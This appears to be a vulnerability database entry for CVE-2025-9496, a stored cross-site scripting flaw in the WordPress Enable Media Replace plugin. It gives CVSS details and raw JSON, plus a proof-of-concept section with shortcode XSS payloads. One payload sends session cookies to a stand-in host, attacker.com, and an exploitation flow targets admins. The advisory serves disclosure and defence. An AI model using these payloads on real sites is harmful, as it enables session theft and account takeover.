Security Vulnerability Report
中文
CVE-2025-9496 CVSS 6.4 MEDIUM

CVE-2025-9496

Published: 2025-10-11 08:15:33
Last Modified: 2026-04-15 00:35:42

Description

The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's file_modified shortcode in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Enable Media Replace < 4.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9496 PoC: Stored XSS via file_modified shortcode --> <!-- Attacker needs contributor-level access or above --> <!-- Malicious shortcode injection in a post/page content --> [file_modified id="1" onerror="alert('XSS-'+document.cookie)" title=""><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Alternative: inject via shortcode attributes with event handlers --> [file_modified id="1" title="<img src=x onerror=alert(document.domain)>"] <!-- Exploitation flow: 1. Attacker logs in as contributor 2. Creates a new post or edits an existing one 3. Inserts the malicious shortcode in the content 4. Submits the post for review or publishes it 5. When any user (especially admin) views the post, the injected JavaScript executes in their browser 6. Attacker steals session cookies or performs actions on behalf of the victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9496", "sourceIdentifier": "[email protected]", "published": "2025-10-11T08:15:32.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's file_modified shortcode in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/enable-media-replace/tags/4.1.6/classes/emr-plugin.php#L645", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3371681%40enable-media-replace&new=3371681%40enable-media-replace&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/enable-media-replace/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07aafbe4-d2ac-4cc3-beb4-37e681ed5285?source=cve", "source": "[email protected]"}]}}